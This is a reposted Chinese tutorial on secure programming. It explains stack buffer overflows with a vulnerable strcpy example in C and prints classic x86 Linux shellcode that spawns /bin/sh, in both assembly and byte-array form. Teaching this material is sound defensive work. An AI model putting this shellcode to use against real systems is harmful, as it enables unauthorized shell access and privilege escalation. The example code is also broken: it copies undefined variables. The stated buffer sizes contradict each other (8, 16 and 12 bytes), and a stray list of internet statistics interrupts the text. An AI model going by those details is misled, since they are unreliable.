安全程序设计

2008-04-09 04:07:33来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

安全程序设计

概述
在当前的软件行业里,太多的程序有安全问题,代码在被发布前只是经过很少的测试,即使
一些有专业测试人员的软件公司也很少进行安全编程方面的测试,原因在于缺少对安全编程
技术的了解。本文将尝试给程序员一个比较清晰的概念,安全漏洞的来源,和避免安全漏洞
的技巧,使写安全程序的过程变得轻松起来。
运用好的编程技巧是非常重要的,甚至你的代码只是将运行在限制的时期和限制的条件下。
许多程序员的程序常超越其最初的设计范围,大部分的安全漏洞出现的环境是当初程序员不
知道或没有想到的。典型的是,程序员假设当前的系统调用永不会失败,或者程序参数永远
不可能超过某个长度。因而,程序员能做到最好的事情就是对问题进行假定编程,仔细分析
它们是否正确,和想象可以使其失败的条件。

Internet发展
?主机数 4300万 46%
?网民数 1.54亿 55%
?2001网民数 4.5亿
?美国网民数 8300万 26%
?2001美国网民数 1.3亿
?美国人在线上税 2500万 38%
?AOL用户 1700万 42%
?WEB服务器 500万 128%
?YAHOO每天页面浏览 2.35亿次 147%
?网上新闻发布 213万 89%
?在线股市交易 33.6万 125%
?电子商务营业额 211亿美元 154%


导致安全漏洞的二个最根本原因
溢出
什么是溢出:
数据存储过程中超过数据结构所能容纳的实际长度都可成为溢出。

产生溢出的理论基础:

1. 平面内存结构,4GB或更大逻辑地址空间
程序运行时可以被装载到相对固定的地址空间,使得确定攻击代码地址更为方便

2. 数据与代码同处于一个地址空间,堆栈可执行
代码数据共同存储这一现代计算机模型使得溢出攻击真正可行,攻击者可以精心编制输入数
据,得到运行权

3. CPU call调用利用栈保存返回地址
Call调用使用堆栈保存返回地址,使得跟改程序返回地址成为可能

4. C函数在栈中保存局部变量
看一下现代几乎所有的编译器产生的代码,就会发现在所有调用子程序的地方都有类似代码
push ebp
mov ebp, esp
sub esp, ??
编译器为了支持函数嵌套调用都使用堆栈来保存局部变量

5. C语言无自动边界检查功能
C语言不进行数据边界检察,当数据被覆盖时也不能被发现

6. 栈从高地址往低地址生长
数据存放是从低到高存放的,而堆栈却从高到低生长,当call调用子程序时的返回地址将被
压入堆栈,这就是说当发生call调用时,程序返回地址将位于子程序数据区的高处,使恶意
覆盖返回地址成为可能,只要精心安排输入数据就可以使执行类似ret的指令时,跳转到所需
要的地址

一个溢出的例子
#include <stdio.h>
#include <string.h>

void SayHello(char* str)
{
char buffer[8];
strcpy(tmpName, name);
printf("Hello %s\n", tmpName);
}

int main(int argc, char** argv)
{
SayHello(argv[1]);
return 0;
}


运行:

$ ./example sunx
Hello sunx

似乎一切正常,不会有什么问题
。。。。再试一下。。。

$./example sunxsunxsunx
Hello sunxsunxsunx?????
Segmentation fault (core dumped)

当程序打印完输入数据后崩溃了,这是为什么呢?
这个程序的函数含有一个典型的内存缓冲区编码错误. 该函数没有进行边界检查就复
制提供的字符串, 错误地使用了strcpy()而没有使用strncpy(). 如果你运行这个程序就会产
生段错误. 原因是在命令行输入的数据 “sunxsunxsunx” 长度超过了在SayHello函数中的
局部变量长度, 于是覆盖了在堆栈上方的返回地址,在print之后就崩溃了
让我们看看在调用函数时堆栈的模样:

分析:
程序的内存布局



数据段
代码段
0xFFFFFFFF

栈方向
0x00000000

第一次运行进入SayHello后的栈

第二次运行进入SayHello后的栈

sununxsunx

这里发生了什么事? 答案很简单: strcpy()将*str的内容(larger_string[])复制到buffer
[]里, 直到在字符串中碰到一个空字符. 显然,buffer[]比*str小很多. buffer[]只有16个字
节长, 而我们却试图向里面填入12个字节的内容. 这意味着在buffer结构之后, 堆栈中4个字
节被覆盖. 包括RET地址,我们已经把Buffer指向内存的12个字节全都填成了“sunxsunxsunx
”, 这意味着现在的返回地址是0x786e7573. 当函数返回时, 程序试图读取返回地址的下
一个指令, 此时我们就得到一个段错误.
因此缓冲区溢出允许我们更改函数的返回地址. 这样我们就可以改变程序的执行流程.

如果攻击者精心准备数据
jmp label2
label1: pop esi
mov [esi 8], esi
xor eax, eax
mov [esi 7], al
mov [esi 12], eax
mov al, 0bh
mov ebx, esi
lea ecx, [esi 8]
lea edx, [esi 12]
int 80h
xor ebx, ebx
mov eax, ebx
inc eax
int 80h
label2: call label1
cmd: db “/bin/sh”, 0


上面代码的机器码
char shell_code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0”
“\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”
“\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

如果用程序输入这些数据就可以得到一个命令行shell

溢出漏洞的实际利用方法
Remote root exploit
远程,不经认证而获得执行权,
主要针对程序:各种Daemon
HTTP 、FTP 、POP 、Sendmail …
Local root exploit
本地,利用程序的漏洞获得执行权,主要被用来提升用户权限
主要针对程序:所有的特权程序


那些程序具有特权:
Daemon
HTTP 、FTP 、POP 、Sendmail …

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:没头没尾--项目开发笔记:项目问题的阶段性总结,下一步…………

下一篇:也说说c builder中的不规则窗体的实现